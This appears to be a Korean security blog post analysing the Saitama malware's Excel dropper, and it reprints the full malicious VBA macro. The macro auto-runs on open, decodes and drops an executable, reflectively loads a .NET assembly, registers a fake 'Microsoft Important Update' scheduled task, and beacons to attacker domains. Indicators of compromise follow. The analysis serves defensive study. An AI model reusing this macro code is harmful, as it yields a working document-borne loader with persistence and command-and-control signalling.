Data+

Saitama Malware

by Qerogram

ㅈㄴㄱㄷ 봤는데 이름이 특이하길래? 드롭퍼만 분석하고, RAT구나~ 하고 종료함.

이미지출처 : https://img.insight.co.kr/static/2018/10/30/700/qi0spy745bz942ph8sf5.jpg

 

Phase 1. Dropper

- Workbook_Open 함수가 있고, 악의적인 함수들이 보인다.

실행하면 Workbook_Open()가 호출되고, 전체 vba 코드는 다음과 같다.

Private Declare PtrSafe Function DispCallFunc Lib "oleaut32.dll" (ByVal pv As LongPtr, ByVal ov As LongPtr, ByVal cc As Integer, ByVal vr As Integer, ByVal ca As Long, ByRef pr As Integer, ByRef pg As LongPtr, ByRef par As Variant) As Long
Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (Dst As Any, Src As Any, ByVal BLen As LongPtr)
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (ByRef Var() As Any) As LongPtr
Dim rds As String

#If Win64 Then
Const LS As LongPtr = 8&
#Else
Const LS As LongPtr = 4&
#End If

Private Sub Workbook_Open()
    GoTo s1
    Sheets("Confirmation Receive Document").Visible = True
    Sheets("Confirmation Receive Documents").Visible = False
    'Sheets("TeamViewer Licenses").Visible = True
    'Sheets("TeamViewer License").Visible = False

    Exit Sub
s1:

    Sheets("Confirmation Receive Documents").Visible = True
    Sheets("Confirmation Receive Document").Visible = False
    rds = CStr(Int((10000 * Rnd())))
    eNotif "zbabz"
    Set fs = CreateObject("Scripting.FileSystemObject")
    ' createobject file
    Set schs = CreateObject("schedule.service")
    Call schs.Connect
    Dim oo
    On Error Resume Next
    Set oo = schs.GetFolder("\")
    eNotif "zbbbz"

    '2,3
    '4
    On Error Resume Next
    If Application.MouseAvailable Then
        ndp = LCase(Environ("localappdata")) & "\MicrosoftUpdate\"
        If Dir(ndp, vbDirectory) = "" Then
            MkDir ndp
        End If
        ofp = ndp & "update.exe"
        cop = ndp & "update.exe.config"
        dop = ndp & "Microsoft.Exchange.WebServices.dll"
        Set dd = CreateObject("Microsoft.XML" & "DOM")

        Set ee = dd.createElement("tmp")
        ee.DataType = "bin.base64"
        ee.Text = UserForm1.Label1.Caption
        gg = ee.NodeTypedValue
        Dim ff As Integer
        ff = FreeFile
        Open ofp For Binary Lock Read Write As #ff
        Dim hh() As Byte
        hh = gg
        Put #ff, 1, hh
        Close #ff
        eNotif "zbaez"

        ee.Text = UserForm2.Label1.Caption
        gg = ee.NodeTypedValue
        ff = 0
        ff = FreeFile
        Open cop For Binary Lock Read Write As #ff
        hh = gg
        Put #ff, 1, hh
        Close #ff
        eNotif "zbbez"


        ee.Text = UserForm3.Label1.Caption
        gg = ee.NodeTypedValue
        ff = 0
        ff = FreeFile
        Open dop For Binary Lock Read Write As #ff
        hh = gg
        Put #ff, 1, hh
        Close #ff
        eNotif "zbcez"

        Set objFSO = CreateObject("Scrip" & "ting" & "." & "File" & "Syst" & "emOb" & "ject")
        If Not objFSO.FileExists(ofp) Then
            eNotif "zbdez"
           Test
           eNotif "zbeez"
        End If
    End If
    '4
    '5
    '5
    '6
    '6
    '7

    eNotif "zbafz"
    Dim xt As String
    xt = "<?xml version=""1.0"" encoding=""UTF-16""?><Task version=""1.2"" xmlns=""http://schemas.microsoft.com/windows/2004/02/mit/task""><RegistrationInfo><Author>Microsoft Corporation</Author><Description>Microsoft Important Update</Description></RegistrationInfo><Triggers><TimeTrigger><Repetition><Interval>PT4M</Interval></Repetition><StartBoundary>" & Format(DateAdd("n", 1, Now()), "yyyy-mm-ddThh:nn:ss") & "</StartBoundary><Enabled>true</Enabled></TimeTrigger></Triggers><Principals><Principal id=""Author""><LogonType>InteractiveToken</LogonType><RunLevel>LeastPrivilege</RunLevel></Principal></Principals><Settings><MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>false</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>"
    xt = xt & "<IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout></IdleSettings><AllowStartOnDemand>true</AllowStartOnDemand><Enabled>true</Enabled><Hidden>false</Hidden><RunOnlyIfIdle>false</RunOnlyIfIdle><WakeToRun>false</WakeToRun><ExecutionTimeLimit>P20D</ExecutionTimeLimit><Priority>7</Priority></Settings><Actions Context=""Author""><Exec><Command>""" & ofp & """</Command><WorkingDirectory>" & ndp & "</WorkingDirectory></Exec></Actions></Task>"
    Call oo.RegisterTask("MicrosoftUpdate", xt, 6, , , 3)
    eNotif "zbbfz"
    '7
    '8
    '8
    '9
    '9
    '
End Sub



Sub Test()
    Set dd = CreateObject("Microsoft.XML" & "DOM")
    Set ee = dd.createElement("t" & "mp")
    ee.DataType = "bin" & ".bas" & "e64"
    ee.Text = word.Label.Caption
    gg = ee.NodeTypedValue

    Dim bytes() As Byte
    bytes = gg

    ' -------------------------------------

    Dim host As New mscoree.CorRuntimeHost, dom As AppDomain
    host.Start
    host.GetDefaultDomain dom

    Dim vRet As Variant, lRet As Long
    Dim vTypes(0 To 1) As Integer
    Dim vValues(0 To 1) As LongPtr

    Dim pPArry As LongPtr: pPArry = VarPtrArray(bytes)
    Dim pArry As LongPtr
    RtlMoveMemory pArry, ByVal pPArry, LS
    Dim vWrap: vWrap = pArry

    vValues(0) = VarPtr(vWrap)
    vTypes(0) = 16411

    Dim pRef As LongPtr: pRef = 0
    Dim vWrap2: vWrap2 = VarPtr(pRef)

    vValues(1) = VarPtr(vWrap2)
    vTypes(1) = 16396

    lRet = DispCallFunc(ObjPtr(dom), 45 * LS, 4, vbLong, 2, vTypes(0), vValues(0), vRet)

    Dim aRef As mscorlib.assembly
    RtlMoveMemory aRef, pRef, LS
    aRef.CreateInstance "Saitama.Agent.Program"

End Sub

Function eNotif(tMsg)
    GetIPfromHostName ("qw" & tMsg & rds & ".joexpediagroup.com")
End Function

Function GetIPfromHostName(p_sHostName) As String
    On Error GoTo o5
    Dim wmiQuery
    Dim objWMIService
    Dim objPing
    Dim objStatus

    wmiQuery = "Select * From Win32_PingStatus Where Address = '" & p_sHostName & "'"

    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set objPing = objWMIService.ExecQuery(wmiQuery)

    For Each objStatus In objPing
        If objStatus.StatusCode = 0 Then
            GetIPfromHostName = objStatus.ProtocolAddress
        Else
            GetIPfromHostName = "Unreachable"
        End If
    Next
    GoTo o6
o5:
    GetIPfromHostName = "someting wrong"
o6:
End Function

이 중 재밌는 구간만 살펴보자~

1.서버에 실행 구간 별 완료 패킷 전송

qwzb[a-z]{3}[rds].joexpediagroup.com 패턴에 해당하는 서버로 데이터를 전송한다.

* [rds]는 난수 (Workbook_Open 함수 참조)

Private Sub Workbook_Open()
...
    rds = CStr(Int((10000 * Rnd())))
    eNotif "zbabz"
    eNotif "zbbbz"
    eNotif "zbaez"
    eNotif "zbbez"
    eNotif "zbcez"
    eNotif "zbdez"
    eNotif "zbeez"
    eNotif "zbafz"
    eNotif "zbbfz"
...

Function eNotif(tMsg)
    GetIPfromHostName ("qw" & tMsg & rds & ".joexpediagroup.com")
End Function

Function GetIPfromHostName(p_sHostName) As String
    On Error GoTo o5
    Dim wmiQuery
    Dim objWMIService
    Dim objPing
    Dim objStatus

    wmiQuery = "Select * From Win32_PingStatus Where Address = '" & p_sHostName & "'"

    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set objPing = objWMIService.ExecQuery(wmiQuery)

    For Each objStatus In objPing
        If objStatus.StatusCode = 0 Then
            GetIPfromHostName = objStatus.ProtocolAddress
        Else
            GetIPfromHostName = "Unreachable"
        End If
    Next
    GoTo o6
o5:
    GetIPfromHostName = "someting wrong"
o6:
End Function

2. 악성코드 드롭

- "%localappdata%\MicrosoftUpdate\" 경로에 update.exe, update.exe.config, Microsoft.Exchange.WebServices.dll 파일을 드롭함.

Private Sub Workbook_Open()
...
If Application.MouseAvailable Then
        ndp = LCase(Environ("localappdata")) & "\MicrosoftUpdate\"
        If Dir(ndp, vbDirectory) = "" Then
            MkDir ndp
        End If
        ofp = ndp & "update.exe"
        cop = ndp & "update.exe.config"
        dop = ndp & "Microsoft.Exchange.WebServices.dll"
        Set dd = CreateObject("Microsoft.XML" & "DOM")

        Set ee = dd.createElement("t" & "mp")
        ee.DataType = "bin.bas" & "e64"
        ee.Text = UserForm1.Label1.Caption
        gg = ee.NodeTypedValue
        Dim ff As Integer
        ff = FreeFile
        Open ofp For Binary Lock Read Write As #ff
        Dim hh() As Byte
        hh = gg
        Put #ff, 1, hh
        Close #ff
        eNotif "zbaez"

        ee.Text = UserForm2.Label1.Caption
        gg = ee.NodeTypedValue
        ff = 0
        ff = FreeFile
        Open cop For Binary Lock Read Write As #ff
        hh = gg
        Put #ff, 1, hh
        Close #ff
        eNotif "zbbez"


        ee.Text = UserForm3.Label1.Caption
        gg = ee.NodeTypedValue
        ff = 0
        ff = FreeFile
        Open dop For Binary Lock Read Write As #ff
        hh = gg
        Put #ff, 1, hh
        Close #ff
        eNotif "zbcez"

        Set objFSO = CreateObject("Scripting.FileSystemObject")
        If Not objFSO.FileExists(ofp) Then
            eNotif "zbdez"
           Test
           eNotif "zbeez"
        End If
 ...

3. Task for Persistent

스케쥴링 등록

Private Sub Workbook_Open()
...
    Set schs = CreateObject("schedule.service")
    Call schs.Connect
    Dim oo
    On Error Resume Next
    Set oo = schs.GetFolder("\")

    Dim xt As String
    xt = "<?xml version=""1.0"" encoding=""UTF-16""?><Task version=""1.2"" xmlns=""http://schemas.microsoft.com/windows/2004/02/mit/task""><RegistrationInfo><Author>Microsoft Corporation</Author><Description>Microsoft Important Update</Description></RegistrationInfo><Triggers><TimeTrigger><Repetition><Interval>PT4M</Interval></Repetition><StartBoundary>" & Format(DateAdd("n", 1, Now()), "yyyy-mm-ddThh:nn:ss") & "</StartBoundary><Enabled>true</Enabled></TimeTrigger></Triggers><Principals><Principal id=""Author""><LogonType>InteractiveToken</LogonType><RunLevel>LeastPrivilege</RunLevel></Principal></Principals><Settings><MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>false</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>"
    xt = xt & "<IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout></IdleSettings><AllowStartOnDemand>true</AllowStartOnDemand><Enabled>true</Enabled><Hidden>false</Hidden><RunOnlyIfIdle>false</RunOnlyIfIdle><WakeToRun>false</WakeToRun><ExecutionTimeLimit>P20D</ExecutionTimeLimit><Priority>7</Priority></Settings><Actions Context=""Author""><Exec><Command>""" & ofp & """</Command><WorkingDirectory>" & ndp & "</WorkingDirectory></Exec></Actions></Task>"
    Call oo.RegisterTask("MicrosoftUpdate", xt, 6, , , 3)
...

Phase 2. RAT

VBA (UserForm1/o) 경로에 PE 파일이 base64 인코딩 되어 있다.

디코딩해보면 .net Binary이며, .net reflector 적용되어 있는 상태다.

난독화를 풀고, 시작지점으로 가보면, 메세지 핸들러를 볼 수 있음.

DoTask()등에서 Cmd함수를 호출하게 되는데, Cmd 명령을 실행하는 구간도 이렇게 존재함.

ise-posture.mofagov.gover.local 등을 조회하는 등 별 짓을 다하지만, 자세하게 다루진 않을 예정~

IoC

DOMAIN

"*.joexpediagroup.com"
"*.asiaworldremit.com"
"*.uber-asia.com"

Malware Hash

드롭퍼 : c4f81486d10818e0bd4b9701dcafc8a2
rat : 79C7219BA38C5A1971A32B50E14D4A13

Mutex

726a06ad-475b-4bc6-8466-f08960595f1e

'보안' 카테고리의 다른 글

AWS 계정 해킹당한 썰(feat. 계정 관리의 중요성)  (1) 2023.02.03
OLE Decompress  (0) 2022.02.16
[WriteUp] N00bCTF - You Know ALS?  (0) 2020.06.19
letsencrypt SSL 갱신하기  (0) 2018.12.27
라즈비안에서 hostname 설정하기.  (0) 2018.01.24

블로그의 정보

Data+

Qerogram

활동하기